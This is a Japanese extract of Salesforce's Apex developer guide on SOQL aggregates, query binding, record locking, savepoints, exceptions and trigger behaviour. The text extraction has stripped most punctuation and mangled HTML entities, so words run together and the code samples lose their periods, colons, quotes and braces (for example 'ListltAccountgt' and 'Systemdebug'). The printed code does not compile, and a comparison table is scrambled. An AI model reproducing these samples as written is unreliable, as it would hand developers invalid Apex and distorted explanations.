SOQL 集計関数の使用SUM()や MAX()などSOQL の集計関数を使用して分析のクエリーでデータをロールアップおよび集計できます集計関数の詳細は『Forcecom Web Services API Developers Guide』の「集計関数」を参照してください

集計関数はGROUP BY句がなくても使用できますたとえばAVG()集計関数を使用してすべての商談の平均金額が分かります

AggregateResult[] groupedResults = [SELECT AVG(Amount)aver FROM Opportunity] Object avgAmount= groupedResults[0]get(aver)

言語構造 Version 180 | SOQL および SOSL クエリ結果の処理 | 57

集計関数を含むクエリーはAggregateResult オブジェクトの配列で結果を返しますAggregateResult は参照専用sObject でクエリ結果にのみ使用されます

集計関数はGROUP BY句とともに使用する場合にレポートを生成するより強力なツールとなりますたとえばキャンペーンにごとにすべての商談の平均金額が分かります

AggregateResult[] groupedResults = [SELECT CampaignId AVG(Amount) FROM Opportunity GROUPBY CampaignId] for (AggregateResult ar groupedResults) Systemdebug(Campaign ID +arget(CampaignId)) Systemdebug(Average amount + arget(expr0))

別名のない SELECTリストの集計項目は形式が expriの暗黙的別名を自動的に取得しますiは明示的な別名のない集計項目の順序を示しますiの値は 0 から始まり明示的な別名のない集計項目ごとに増えます詳細は『Forcecom Web Services API Developers Guide』の「GROUP BYでの別名の使用」を参照してください

非常に大きな SOQL クエリの処理SOQLクエリヒープサイズの制限を超える多くの sObjects を返しエラーが発生する場合があります問題を解決するには代わりに SOQL クエリ forループを使用しますqueryおよび queryMoreへの内部コールの使用によりレコードの複数の一括処理が可能になります

たとえば結果が大きすぎる場合次の構文でランタイム例外が発生します

Account[] accts = [SELECT id FROM account]

代わりに次の例のいずれかで SOQL クエリの forを使用します

for ループ内で DML ステートメントを実行しない場合は この形式を使用します (Account a [SELECTid name FROM account WHERE name LIKE Acme]) ここに DML ステートメントのないコード

for ループ内で DML ステートメントを実行している場合 この形式を使用 (ListltAccountgt accts [SELECT id name FROM account WHERE name LIKE Acme]) ここに更新取引先のコード

次の例はレコードの一括更新に使用する SOQL クエリ forループを示しますすべてのレコードの取引先担当者の姓を変更するとします

public void massUpdate() for (ListltContactgt contacts [Select FirstName LastName FromContact]) for(Contact c contacts) if (cFirstName == Barbara ampamp cLastName ==Gordon) cLastName = Wayne update contacts

メモ forループで SOQL クエリを使用する代わりにApex の一括処理を使用してレコードを一括更新するとガバナ制限に達するリスクが最小限に抑えられます

より効果的なSOQLクエリとして特にトリガ内のクエリについてはセレクティブ (索引付き) クエリを使用しますセレクティブクエリとはプライマリキー外部キー名前監査日付項目(LastModifiedDateなど)または外部ID項目で絞り込みを行うクエリを指します大規模な組織ではセレクティブではないクエリを実行時に停止して長時間にわたる操作時間を短縮できますアプリケーションで必要な場合salesforcecomの担当者にお問い合わせください

詳細は「SOQL For ループ」 (ページ 54)を参照してください

言語構造 Version 180 | 非常に大きな SOQL クエリの処理 | 58

1 つのレコードを返す SOQL クエリ結果リストに 1 つだけ要素が含まれている場合SOQL クエリを使用して単一の sObject 値を割り当てることができます式の L 値が単一の sObject 型である場合Apex は自動的にクエリ結果リスト内の 1 つの sObjectレコードを L 値に割り当てますリスト内に sObjects がないまたは複数の sObject がある場合ランタイム例外が発生します例

ListltAccountgt accts = [SELECT id FROM account]

クエリから 1 つの行が返される場合にのみコードのこれらの行が 有効です中間 sObject 変数に割り当てられていない場合2 番目の行は項目の クエリからの参照を解決しますAccount acct = [SELECT id FROMaccount] String name = [SELECT name FROM account]name

外部キーおよび親子関係の SOQL クエリについてSOQL クエリのSELECTステートメントは外部キー親子レコードの結合など有効な SOQL ステートメントとなります外部キーの結合が含まれている場合生成される sObjects は通常の項目表記によって参照できます例

Systemdebug([SELECT accountname FROM contact WHERE firstname = Caroline]accountname)

またsObjects の親子関係は SOQL クエリとして動作します例

for (Account a [SELECT id name (SELECT lastname FROM contacts) FROM account WHERE name= Acme]) Contact[] cons = acontacts

連絡先を 1 件のみに制限しているため次の例も有効です (Account a [SELECT id name (SELECT lastnameFROM contacts limit 1) FROM account WHERE name = testAgg]) Contact c = acontacts

SOQL クエリおよび SOSL クエリでのApex 変数の使用Apex のSOQL ステートメントおよび SOSL ステートメントは先にセミコロン () がある場合Apex スクリプト変数と式を参照することができますSOQL ステートメントまたは SOSL ステートメント内でローカルスクリプト変数を使用することはバインドと呼ばれますApex パーサーはSOQL ステートメントまたは SOSL ステートメントを実行する前にまずスクリプトコンテキスト内のローカル変数を評価しますバインド式は次のものとして使用できます

bull FIND句の検索文字列bull WHERE句の条件リテラルbull LIMIT句の数値bull WHERE句の IN演算子または NOT IN演算子値の動的セットを絞り込むことができますいかなるデータ型

のリストも処理しますがID または String のリストで特に使用されますbull FIND句の区分名

Account A = new Account(name=xxx) insert A Account B

簡単なバインド B = [select id from account where id = Aid]

言語構造 Version 180 | 1 つのレコードを返す SOQL クエリ | 59

計算によるバインド B = [select id from account where name = (x + xx)]

String s = XXX

式によるバインド B = [select id from account where name = XXXXsubstring(03)]

クエリの結果である式によるバインド B = [select id from account where name = [select name fromaccount where id = Aid]name]

Contact C = new Contact(lastName=xxx accountid=Aid) insert new Contact[]C newContact(lastName=yyy accountId=Aid)

親クエリおよび集合クエリのバインド B = [select id (select id from contacts where id = Cid)from account where id = Aid]

返される連絡先 Contact D = Bcontacts

制限バインド Integer i = 1 B = [select id from account limit i]

ID リストによる IN バインドsObjects のリスト もし用できますオブジェクトの ID がバインドに 使用されます Contact[] cc = [select id from contact limit 2] Task[] tt = [select id fromtask where whoId in cc]

String リストによる IN バインド String[] ss = new String[]a b Account[] aa = [selectid from account where accountnumber in ss]

すべての句のバインドを含む SOSL クエリ

String myString1 = aaa String myString2 = bbb Integer myInt3 = 11 String myString4= ccc Integer myInt5 = 22

ListltListltSObjectgtgt searchList = [FIND myString1 IN ALL FIELDS RETURNING Account (id nameWHERE name LIKE myString2 LIMIT myInt3) Contact Opportunity Lead WITH DIVISION=myString4 LIMIT myInt5]

SOQL ステートメントによるすべてのレコードの問い合わせSOQL ステートメントはALL ROWSキーワードを使用して削除されたレコードアーカイブされたアクティビティなど組織内のすべてのレコードを問い合わせることができます例

SystemassertEquals(2 [SELECT count() FROM contact WHERE accountid = aid ALL ROWS])

ALL ROWSを使用して組織のゴミ箱の中にあるレコードを問い合わせすることができますALL ROWSキーワードは FOR UPDATEキーワードとともに使用することはできません

ロックするステートメント

Apex を使用するとsObject レコードをロックできますレコードを更新してレース条件およびスレッドの安全性の問題を回避しますsObject レコードがロックされるとその他のプログラムまたはユーザーを更新できません

言語構造 Version 180 | SOQL ステートメントによるすべてのレコードの問い合わせ | 60

Apex の一連の sObject レコードをロックするにはインライン SOQL ステートメントの後に FOR UPDATEを埋め込みますたとえば次のステートメントでは2 つの取引先に問い合わせするほか返される取引先をロックします

Account [] accts = [select id from Account limit 2 for update]

メモ ロックを使用する SOQL クエリではORDER BYキーワードを使用できませんただしクエリ結果は自動的に ID によって並べ替えられます

このコールで取引先がロックされるとデータ操作言語 (DML) ステートメントがトランザクションのデータベースの項目値を変更できます

警告 Apex スクリプトにロックを設定する場合は慎重に使用してください詳細は以下の 「デッドロックの回避」を参照してください

SOQL For ループのロックFOR UPDATEキーワードも SOQL forループ内で使用できます例

for (Account[] accts [select id from Account for update]) Your code

SOQL For ループ (ページ 54) で説明しているように上記の例は Forcecom Web サービス API の query()メソッドおよび queryMore()メソッドのコールに内部的に対応しています

commitステートメントはありませんApexスクリプトが正常に完了するとデータベースへのすべての変更は自動的にコミットされますApex スクリプトが正常に完了しない場合データベースへのすべての変更はロールバックされます

デッドロックの回避Apex はデッドロックの可能性があり複数のデータベース表または行へのアップデートを呼び出すその他の手続き型ロジック言語にもその可能性がありますこうしたデッドロックを回避するためにApex ランタイムエンジンは次のことを行います

1 sObject 親レコードを最初にその後子レコードをロックする2 同じデータ型の複数レコードを編集する場合sObject レコードを ID 順にロックする

開発者は行をロックしてデッドロックが行われないようにする場合慎重に使用してくださいアプリケーション内のすべての場所から表および行に同じ順序でアクセスして標準デッドロック回避方法を使用していることを確認してください

トランザクションの制御

すべてのトランザクションはApex スクリプトを実行するトリガWeb サービスVisualforce ページまたは匿名ブロックによって制御されていますApex スクリプトが正常に完了するとすべての変更がデータベースにコミットされますApex スクリプトが正常に完了しない場合データベースへのすべての変更はロールバックされます

言語構造 Version 180 | SOQL For ループのロック | 61

ただしレコードの処理時にビジネスルールでは処理を別の指示で続行できるよう部分的な作業 (すでに実行された DML ステートメント) の「ロールバック」が必要な場合がありますApexを使用するとsavepointつまりその時間のデータベースの状態を指定するトランザクションのポイントを生成できますsavepoint の後に発生する DML ステートメントは破棄することができsavepoint を生成した時点と同じ状況にデータベースを復元できます

次の制限事項はsavepoint 変数の生成およびデータベースのロールバックに適用されます

bull 複数の savepoint を設定しかつ生成した最後の savepoint でない savepoint にロールバックすると後の savepoint変数が無効となりますたとえば最初にsavepoint SP1を生成次にsavepoint SP2を生成したとしてSP1にロールバックすると変数 SP2は無効となりますこの際SP2 を使用しようとするとランタイムエラーが発生します

bull savepoints への参照は各トリガ呼び出しが新しい実行コンテクストであるため複数のトリガと共有することはできません静的変数として savepoint を宣言しトリガコンテキスト全体で使用しようとする場合ランタイムエラーが発生します

bull すべてのコンテキストでつまりトリガ匿名ブロックWSDL メソッドまたはユニットテストで 5 つのsavepoint のみを設定できます追加の savepoint を設定しようとするとランタイムエラーが発生します

bull rollbackによるデータベースの復元はすべてのコンテキストでつまりトリガ匿名ブロックWSDLメソッドまたはユニットテストで20回まで実行できますそれ以上の回数をロールバックしようとするとランタイムエラーが発生します

次はsetSavepointおよび rollbackデータベースメソッドの使用例です

Account a = new account(name = xxx) insert a

SystemassertEquals(null [select accountnumber from account where id = aid]accountnumber)

accountNumber が null の場合に savepoint を作成します

Savepoint sp = DatabasesetSavepoint()

取引先意番号を変更します

aaccountnumber = 123

update a

SystemassertEquals(123 [select accountnumber from account where id = aid]accountnumber)

以前の null 値にロールバックします

Databaserollback(sp)

SystemassertEquals(null [select accountnumber from account where id = aid]accountnumber)

例外ステートメント

Apex では例外を使用してエラーまたはスクリプト実行の正常な流れを中断するイベントを処理することができますthrowステートメントを使用して例外を生成しtrycatchおよび finallyを使用して例外から適切に回復することができます

言語構造 Version 180 | 例外ステートメント | 62

例外クラスを使用して独自の例外を作成することもできます詳細は「例外クラス」 (ページ 315)を参照してください

Throw ステートメントthrowステートメントを使用して例外を明示的に発生することができます例外を投げるにはthrowステートメントを使用して例外オブジェクトを作成し特定のエラーに関する情報を提供します例

throw exceptionObject

Try-Catch-Finally ステートメントtrycatchfinallyステートメントを使用して投げられた例外から適切に回復することができます

bull tryステートメントは例外が発生するコードのブロックを識別しますbull catchステートメントは特定の種類の例外を処理できるコードのブロックを識別します単一のtryブロッ

クに対して複数の catchステートメントを使用できますが各 catchステートメントには一意の例外タイプがなければなりません

bull オプションでfinallyステートメントは実行が保証されているコードをブロックを識別しtryブロック内のコードの後でクリーンアップすることができます単一の tryステートメントには関連する finally

ステートメントを 1 つだけ含むことができます

構文

これらのステートメントの構文は次のとおりです

try code_block catch (exceptionType) code_block その他の例外タイプのオプションの catchステートメント 一般的な例外タイプ「Exception」 は使用時に最後の catch ブロックでなければなりま

せん catch (Exception e) code_block オプションの finally ステートメント finally code_block

try ここにコード catch (ListException e) リスト例外処理コード catch (Exception e) 汎用例外処理コード

メモ 実行ガバナーによる制限の例外を取得できません詳細は「実行ガバナーと制限の理解」を参照してください

言語構造 Version 180 | Throw ステートメント | 63

第 3 章

Apex の呼び出し

次のメカニズムでApex スクリプトを呼び出すことができますトピック

bull トリガbull トリガbull Apex スケジューラ (Apex クラスのみ)bull Apex スケジューラbull 匿名ブロックbull 匿名ブロックbull AJAX Toolkitbull AJAX での Apex

トリガ

Apex スクリプトはトリガを使用して呼び出しますトリガは次の操作の前後に実行する Apex スクリプトです

bull insertbull updatebull deletebull mergebull upsertbull undelete

たとえばオブジェクトのレコードがデータベースに挿入される前レコードが削除された後またはレコードがごみ箱から復元した後に実行されるトリガがある場合があります

連絡先または取引先などの最上位の標準オブジェクトにトリガを定義することができますがContactRole など標準子オブジェクトには定義できません

bull ケースコメントの場合は[設定] [ケース] [ケースコメント] [トリガ] をクリックしますbull 電子メールメッセージの場合は[設定] [ケース] [電子メールメッセージ] [トリガ]をクリックします

トリガは次の 2 つの種類に分けられます

bull Beforeトリガを使用してデータベースが保存される前にレコード値を更新または検証することができますbull After トリガを使用してデータベースで設定された項目値(レコードの Id項目または lastUpdated項目な

ど)にアクセス監査表にログキューによって非同期イベントを発生するなどそのほかのレコードの変更に影響を与えたりすることができます

トリガは最初にトリガを発生したレコードと同じデータ型の別のレコードを変更することもできますたとえば連絡先 Aが更新された後でトリガが発生する場合トリガは連絡先 BCおよび Dを変更することもできますトリガの利用により他のレコードを変更できまたこれらの変更によってより多くのトリガが発生しうるためにApex ランタイムエンジンは一連の処理を監視し無限に繰り返されることないように実行回数の制限を設定します詳細は「実行ガバナーと制限の理解」を参照してください

またトリガを発生したレコードに対してbeforeトリガで更新または削除するかまたはafterトリガで削除しようとするとランタイムエラーが発生しますこれは直接の操作および間接的な操作が含まれますたとえば取引先 Aを更新し取引先 Aの before update トリガが連絡先 Bを挿入連絡先 Bの after insert トリガが取引先 Aを問い合わせDML updateステートメントまたはデータベースメソッドを使用してそれを更新するとbefore トリガで取引先 Aが間接的に更新されランタイムエラーが発生します

実装時の検討事項

トリガを作成する前は次の点に注意してください

bull upsertトリガは必要に応じて before および after の insertトリガまたは before および after の updateトリガを発生します

bull mergeトリガは削除されるレコードには before および after の deleteトリガがまた更新されるレコードにはbefore および after の updateトリガのみが発生します「トリガと Merge ステートメント」 (ページ 73)を参照してください

Apex の呼び出し Version 180 | トリガ | 65

bull レコードが復元された後に実行するトリガは特定のオブジェクトでのみ動作します「トリガと復元レコード」 (ページ 73)を参照してください

bull トリガが終わるまで項目履歴は記録されませんトリガから項目履歴を問い合わせても現在のトランザクションの履歴は表示されません

bull API の一括処理を想定するトリガは記述しないでくださいAPI の一括処理を指定した大きさより小さいセットに分割する場合があります

バルクトリガ以前のバージョンのApexではトリガが一度に処理できるのは 1 つの sObject だけで一括処理はできませんでしたそのためデータベースクエリの制限を超えずにSOQLクエリまたはDMLステートメントを含むトリガを実行できるsObjectに対する API 一括処理を利用することができませんでした

このバージョンの Apex では単一レコード処理モデルは使用することができませんデフォルトではすべてのトリガがバルクトリガで複数のレコードを一度に処理できます

メモ 定期的な行動の insertdeleteまたは updateのトリガは一括で処理することができません

バルクトリガは単一のレコード更新と次のような一括処理に対応できます

bull データインポートbull バルク Forcecom API コールbull レコード所有者の変更や削除などの一括操作bull 再帰 Apex メソッドやバルク DML ステートメントを呼び出すトリガ

トリガ構文トリガを定義するには次の構文を使用します

trigger triggerName on ObjectName (trigger_events) code_block

trigger_eventsには次のイベントを 1 つ以上含むカンマ区切りのリストを指定できます

bull before insert

bull before update

bull before delete

bull after insert

bull after update

bull after delete

bull after undelete

メモ

bull webServiceキーワードをトリガで使用できるのはメソッドで非同期として定義されている場合つまりメソッドが futureキーワードで定義されている場合のみです

bull 定期的な行動または定期的な ToDo の insertdeleteまたは updateによって呼び出されるトリガはForcecom API からトリガが大量に呼び出されるときランタイムエラーになります

Apex の呼び出し Version 180 | バルクトリガ | 66

たとえば次のコードは取引先オブジェクトで before insertイベントおよび before updateイベントのトリガを定義します

trigger myAccountTrigger on Account (before insert before update) ここにコードを入力

トリガのコードブロックにstaticキーワードを指定することはできませんトリガには内部クラスに適用できるキーワードのみを含めることができますまたトリガが行ったデータベースへの変更は手動でコミットする必要はありませんApex スクリプトが正常に完了するとデータベースへのすべての変更は自動的にコミットされますApex スクリプトが正常に完了しない場合データベースへのすべての変更はロールバックされます

トリガコンテキスト変数すべてのトリガは開発者がランタイムコンテキストにアクセスできるようにする暗黙的な変数を定義しますこれらの変数はSystemTriggerクラスに含まれています

使用方法変数

Apex スクリプトの現在のコンテキストがVisualforce ページWeb サービスまたは executeanonymous() API コールでなくトリガである場合真を返します

isExecuting

Salesforcecom ユーザインターフェースApexまたは API から insert 操作によりトリガが起動した場合真を返します

isInsert

Salesforcecom ユーザインターフェースApexまたは API から upsert 操作によりトリガが起動した場合真を返します

isUpdate

Salesforcecom ユーザインターフェースApexまたは API から delete 操作によりトリガが起動した場合真を返します

isDelete

このトリガがレコードが保存される前に発生した場合真を返しますisBefore

このトリガがすべてのレコードが保存された後に発生した場合真を返しますisAfter

レコードがごみが子から復元した後 (SalesforcecomユーザインターフェースApexまたは API からの undelete 操作の後) トリガが起動した場合真を返します

isUndelete

新しいバージョンの sObject レコードのリストを返します

この sObject リストはinsertトリガおよびupdateトリガでのみ使用できレコードは beforeトリガでのみ更新できます

new

新しいバージョンの sObject レコードへの ID のマップです

このマップは before updateトリガafter insertトリガafter updateトリガでのみ使用できます

newMap

古いバージョンの sObject レコードのリストを返します

この sObject リストは updateトリガdeleteトリガでのみ使用できます

old

古いバージョンの sObject レコードへの ID のマップです

このマップは updateトリガdeleteトリガでのみ使用できます

oldMap

Apex の呼び出し Version 180 | トリガコンテキスト変数 | 67

使用方法変数

トリガ呼び出しでの古いバージョン新しいバージョン両方のレコードの合計数size

メモ トリガが発生するレコードに無効な項目値がある場合 (たとえば0 で割る数式など)値は newnewMapoldおよび oldMapのトリガコンテキスト変数で nullに設定されます

たとえばこの簡単なトリガの場合Triggernewは sObjects のリストでforループで反復したりSOQLクエリの IN句でバインド変数として使用できます

Trigger t on Account (after insert) for (Account a Triggernew) 各 sObject で反復

この単一のクエリはトリガしている取引先のいずれかと関連する各連絡先を 検索しますTriggernew はレコードのコレクションですが SOQL クエリのバインド変数として使用されている場合Apex は自動的に レコードのリストを対応する ID のリストに変換しますContact[] cons = [select lastname from contactwhere accountid in Triggernew]

このトリガではTriggerisBeforeおよびTriggerisDeleteのような Boolean コンテキスト変数を使用し特定のトリガ条件にのみ実行するコードを定義します

trigger myAccountTrigger on Account(before delete before insert before update afterdelete after insert after update) if (TriggerisBefore) if (TriggerisDelete)

before delete トリガの場合トリガは Triggerold リストで削除されるレコードに アクセスしますfor (Account a Triggerold) if (aname = okToDelete) aaddError(You cant deletethis record) else

before insert トリガまたは before update トリガの場合Triggernew で新しいレコードに アクセスします for (Account a Triggernew) if (aname == bad) anameaddError(Bad name) if (TriggerisInsert) for (Account a Triggernew) SystemassertEquals(xxxaaccountNumber) SystemassertEquals(industry aindustry) SystemassertEquals(100anumberofemployees) SystemassertEquals(1000 aannualrevenue) aaccountNumber = yyy

トリガが before トリガでない場合after トリガである必要があります else if (TriggerisInsert) ListltContactgt contacts = new Contact[0] for (Account a Triggernew) if(aname ==makeContact) contactsadd(new Contact (lastname = aname accountId = aid)) insertcontacts

コンテキスト変数の考慮事項トリガコンテキスト変数については次の考慮事項について注意してください

bull triggernewおよび triggeroldをApex DML 操作で使用することはできませんbull triggernewのオブジェクトを使用して項目の値を変更することができますがbefore トリガでのみ行えま

すすべての after トリガでtriggernewは保存されずランタイム例外が投げられますbull triggeroldは常に読み取り専用ですbull triggernewを削除することはできません

次の表ではさまざまなトリガイベントの特定の操作についての考慮事項を示しています

Apex の呼び出し Version 180 | コンテキスト変数の考慮事項 | 68

削除 DML 操作を使用した元のオブジェクトの削除

更新 DML 操作を使用した元のオブジェクトの更新

triggernewを使用した項目の変更

トリガイベント

該当なし元のオブジェクトが作成されていません

該当なし元のオブジェクトが作成されていません

可before insert

参照できるものがないため更新できません

参照できるものがないため更新できません

可能ですが必須ではありません挿入後すぐにオブジェクトが削除されます

可不可triggernewがすでに保存されているためランタイムエラーが発生します

after insert

不可ランタイムエラーが発生します

不可ランタイムエラーが発生します

可before update

可更新はオブジェクトが削除される前に保存される

可正しくないスクリプトにより無限ループが発生し

不可triggernewがすでに保存されているため

更新後

のでオブジェクトが復元た場合はガバナー制限にランタイムエラーが発生します された時に更新結果を表示

することができますよりエラーが検出されます

不可ランタイムエラーが発生します削除はすでに処理中です

可更新はオブジェクトが削除される前に保存されるのでオブジェクトが復元された時に更新結果を表示することができます

不可ランタイムエラーが発生しますtriggernew

は before delete トリガで使用できません

before delete

該当なしオブジェクトはすでに削除されています

該当なしオブジェクトはすでに削除されています

不可ランタイムエラーが発生しますtriggernew

は after delete トリガで使用できません

after delete

可能ですが必須ではありません挿入後すぐにオブジェクトが削除されます

可不可ランタイムエラーが発生しますtriggernew

は after undelete トリガで使用できません

after undelete

一般的なバルクトリガイディオムバルクトリガを使用すると開発者は実行ガバナー制限を超えることなくより多くのレコードを処理することができますが複数のレコードのバッチを一度に呼び出すため開発者は理解したりコード化することが難しくなる場合があります次の項では一括して記述する場合に頻繁に使用されるイディオムの例について説明します

バルクトリガでのマップおよびセットの使用

セットおよびマップのデータ構造はバルクトリガの正常なコード化において重要ですセットを使用して各レコードを分割しマップを使用してレコード ID で編成されたクエリ結果を保持することができます

Apex の呼び出し Version 180 | 一般的なバルクトリガイディオム | 69

たとえばサンプルの見積アプリケーションのバルクトリガはまず Triggernewの OpportunityLineItem レコードに関連する各価格表のエントリをセットに追加しセットに個別の要素が含まれるようにしますそして関連する製品の色の PricebookEntries を問い合わせマップ内に結果を投入しますマップが作成されるとトリガは Triggernewの OpportunityLineItems で反復しマップを使用して適切な色を割り当てます

新しい品目は商談に追加されるとこのトリガは関連する製品の色の値を 新しいレコードにコピーしますtrigger oppLineTrigger on OpportunityLineItem (before insert)

各 OpportunityLineItem レコードの場合関連する価格表のエントリを セットに追加し重複はなくなりますSetltIdgt pbeIds = new SetltIdgt() for (OpportunityLineItem oli Triggernew)pbeIdsadd(olipricebookentryid)

そして関連する製品の色の PricebookEntries を問い合わせマップ内に 結果を投入しますMapltIdPricebookEntrygt entries = new MapltId PricebookEntrygt( [select product2color__c frompricebookentry where id in pbeIds])

マップを使用してトリガに処理される各 OpportunityLineItem の適切な色を 設定します for(OpportunityLineItem oli Triggernew) olicolor__c =entriesget(olipricebookEntryId)product2color__c

バルクトリガのレコードとクエリ結果の相関

TriggernewMapおよび TriggeroldMapの ID-to-sObject マップを使用してレコードをクエリ結果に相関させますたとえばサンプル見積アプリケーションのこのトリガではTriggeroldMapを使用して一意のID のセットを作成します (TriggeroldMapkeySet())セットはクエリの一部として使用されトリガで処理される商談に関連する見積のリストを作成しますクエリに返される各見積の場合関連する商談がTriggeroldMapから取得され削除されないようにします

trigger oppTrigger on Opportunity (before delete) for (Quote__c q [select opportunity__cfrom quote__c where opportunity__c in TriggeroldMapkeySet()]) TriggeroldMapget(qopportunity__c)addError(Cannot delete opportunity with a quote)

トリガを使用した一意の項目を持つレコードの挿入または更新

insertイベントまたは upsertイベントによってレコードがバッチ内の別の新しいレコードで一意の項目の値を複製する場合重複したレコードについてのエラーメッセージには最初のレコードの ID が記載されますただし要求が完了するまではエラーメッセージが適切でない場合があります

トリガがある場合一括操作のリトライロジックによりロールバックリトライサイクルが発生しますそのリトライサイクルは新しいキーを新しいレコードに割り当てますたとえば2 つのレコードに一意の項目の同じ値が挿入されinsertイベントがトリガに定義されている場合2 番目の重複レコードが失敗し最初のレコードの ID が報告されますただし変更がロールバックし最初のレコードが再挿入されるとレコードは新しい ID を受け取りますつまり2 番目のレコードで報告されるエラーメッセージは有効ではありません

トリガの定義トリガスクリプトは関連するオブジェクトの下にメタデータとして保存されますSalesforcecomでトリガを定義する手順は次のとおりです

1 標準オブジェクトの場合は[設定] [カスタマイズ] をクリックし[トリガ] をクリックします

Apex の呼び出し Version 180 | トリガの定義 | 70

カスタムオブジェクトの場合は[設定] [作成] [オブジェクト] をクリックしオブジェクトの名前をクリックします

キャンペーンメンバーの場合[設定] [カスタマイズ] [キャンペーン] [キャンペーンメンバー] [トリガ] をクリックします

ケースコメントの場合は[設定] [ケース] [ケースコメント] [トリガ] をクリックします

電子メールメッセージの場合は[設定] [ケース] [電子メールメッセージ] [トリガ]をクリックします2 [トリガ] 関連リストで[新規] をクリックします3 [バージョン設定]をクリックしてこのトリガで使用するApexおよびAPIのバージョンを指定します組織

がAppExchangeから管理パッケージをインストールした場合このトリガで使用する各管理パッケージのバージョンも指定できます通常はすべてのバージョンについてデフォルト値を使用してくださいデフォルト値ではApexおよびAPIについても各管理パッケージについてもトリガを最新バージョンに関連付けます最新バージョンのパッケージのものとは異なるコンポーネントや機能にアクセスする場合は管理パッケージの古いバージョンを指定することもできます古いバージョンのApexおよびAPIを指定して特定の動作を維持できます

4 トリガをコンパイルして有効にする必要があれば[有効]チェックボックスをオンにします組織のメタデータにスクリプトを保存するだけならばこのチェックボックスはオフにしておきますこのチェックボックスはデフォルトではオンです

5 [内容]テキストボックスでそのトリガのApexを入力します1 つのトリガは最大 32000文字までです

トリガを定義するには次の構文を使用します

trigger triggerName on ObjectName (trigger_events) code_block

trigger_eventsには次のイベントを 1 つ以上含むカンマ区切りのリストを指定できます

bull before insert

bull before update

bull before delete

bull after insert

bull after update

bull after delete

bull after undelete

メモ

bull webServiceキーワードをトリガで使用できるのはメソッドで非同期として定義されている場合つまりメソッドが futureキーワードで定義されている場合のみです

bull 定期的な行動または定期的な ToDo の insertdeleteまたは updateによって呼び出されるトリガはForcecom API からトリガが大量に呼び出されるときランタイムエラーになります

6 [保存] をクリックします

メモ トリガは最後にコンパイルされて以降依存するメタデータに変更がない限りIsValidフラグを trueに設定して保存しますオブジェクトや項目の説明の編集などの表面的な変更も含めてトリガで使用されているオブジェクト名や項目に変更があるとApex コンパイラがコードを再処理するまでisValidフラグは falseに設定されますトリガが次に実行されときかユーザがトリガをメタデータに再保存するときに再コンパイルされます

Apex の呼び出し Version 180 | トリガの定義 | 71

参照項目が削除済みのレコードを参照している場合参照項目は自動的に null になりApex トリガ入力規則ワークフロールールまたは積み上げ集計項目は実行されません

Apex トリガエディタ

VisualforceまたはApexを編集するときVisualforce開発モードフッターでまたは設定から次の機能を持つエディタを使用できます

構文の強調表示エディタはキーワードとすべての関数および演算子について自動的に構文を強調表示します

検索 ( )

検索により現在のページクラスまたはトリガの中のテキストを検索できます検索を使用するには[検索]テキストボックスに文字列を入力し[次を検索] をクリックします

bull 検出した検索文字列を他の文字列に置き換えるには[置換]テキストボックスに新しい文字列を入力しそのインスタンスだけを置き換える場合は [置換] をクリックしそのインスタンスとそれ以外にそのページクラスまたはトリガに出現する検索文字列のすべてのインスタンスを置き換える場合は[すべて置換] をクリックします

bull 検索操作で大文字小文字を区別するには[大文字と小文字を区別する] オプションをオンにしますbull 検索文字列として正規表現を使用するには[正規表現]オプションをオンにします正規表現はJavaScript

の正規表現規則に従います正規表現を使った検索では折り返しされて複数行になる文字列も検索できます

正規表現で検出した文字列を置換操作で使用する場合検出した検索文字列から得られる正規表現のグループ変数 ($1$2など) をバインドすることもできますたとえばltH1gtタグを ltH2gtタグで置き換え元の ltH1gtの属性はすべてそのままにするにはltH1(s+)()gtを検索しそれを ltH2$1$2gtで置き換えます

指定行に移動 ( )

このボタンにより指定した行番号を強調表示できますその行が現在表示されていない場合はエディタがその行までスクロールします

元に戻す ( ) またはやり直し ( )

[元に戻す] を使用して編集動作を取り消し[やり直し] により元に戻した編集動作をやり直します

フォントサイズドロップダウンリストからフォントサイズを選択しエディタに表示される文字のサイズを制御します

行と列の位置

カーソルの行と列の位置はエディタ下部のステータスバーに表示されますこれは[指定行に移動] ( )とともに使用しエディタ内をすばやく移動できます

行と文字のカウント行と文字の合計数はエディタ下部のステータスバーに表示されます

Apex の呼び出し Version 180 | トリガの定義 | 72

トリガと Merge ステートメント結合処理では独自のトリガイベントは発生しません代わりにdelete イベントおよび update イベントが発生します

削除されるレコードの削除一度の結合操作で削除されるすべてのレコードに対して単一の delete イベントが発生します結合操作の結果として削除されたレコードを指定するにはTriggeroldの MasterRecordId項目を使用します結合操作により削除されるレコードのMasterRecordId項目には更新されるレコードのIDが設定されますMasterRecordId項目は after deleteトリガイベントでのみ設定されますアプリケーションで結合の結果として削除されたレコードに特別な処理が必要な場合after deleteトリガイベントを使用する必要があります

更新されるレコードの処理一度の結合操作では更新されるレコードに対してのみ単一の update イベントが発生します結合操作の結果として再び親となる子レコードではトリガは発生しません

たとえば 2 つの取引先担当者が結合する場合取引先担当者の delete および update トリガが発生します取引先や商談など取引先担当者に関連するレコードのトリガは発生しません

結合が行われる場合次の順にイベントが発生します

1 before deleteトリガが発生します2 結合によって必要なレコードを削除し新しい親レコードを子レコードに割り当て削除されたレコードの

MasterRecordId項目を設定します3 after deleteトリガが発生します4 マスタレコードに必要な特定の更新を実行します通常の更新トリガが適用されます

トリガと復元レコードafter undeleteトリガイベントは復元レコードつまりいったん削除されごみ箱から復元したレコードのみを扱います未削除レコードとも呼ばれます

after undeleteトリガイベントは最上位のオブジェクトのみ実行しますたとえば取引先を削除すると商談も削除されます取引先をごみ箱から復元すると商談も復元されます取引先と商談の両方に関連するafter undeleteトリガイベントがある場合取引先の after undeleteトリガイベントのみを実行します

after undeleteトリガイベントは次のオブジェクトにのみ発生します

bull 取引先bull 納入商品bull キャンペーンbull ケースbull 取引先担当者bull 契約bull カスタムオブジェクトbull イベントbull リードbull 商談

Apex の呼び出し Version 180 | トリガと Merge ステートメント | 73

bull 商品bull ソリューションbull タスク

トリガと実行の順序レコードを insertupdateupsertステートメントを使用して保存すると次のイベントが順番に発生します

メモ サーバ上でこれらのイベントが実行される前にブラウザはレコードに連動選択リスト項目が含まれていることを確認する JavaScript 検証を実行します検証は連動選択リストを使用できる値に制限しますクライアント側では他に検証は行われません

サーバ側では次のことが行われます

1 元のレコードがデータベースからロードまたは insertステートメント用にレコードを初期化します2 要求により新しいレコード項目の値がロードされ古い値を上書きします要求が標準 UI 編集ページから行

われた場合次の点についてレコードを確認するシステム検証を実行します

bull レイアウト固有のルールの準拠bull レイアウトレベルおよび項目定義レベルで必要な値bull 有効な項目形式bull 最大項目長

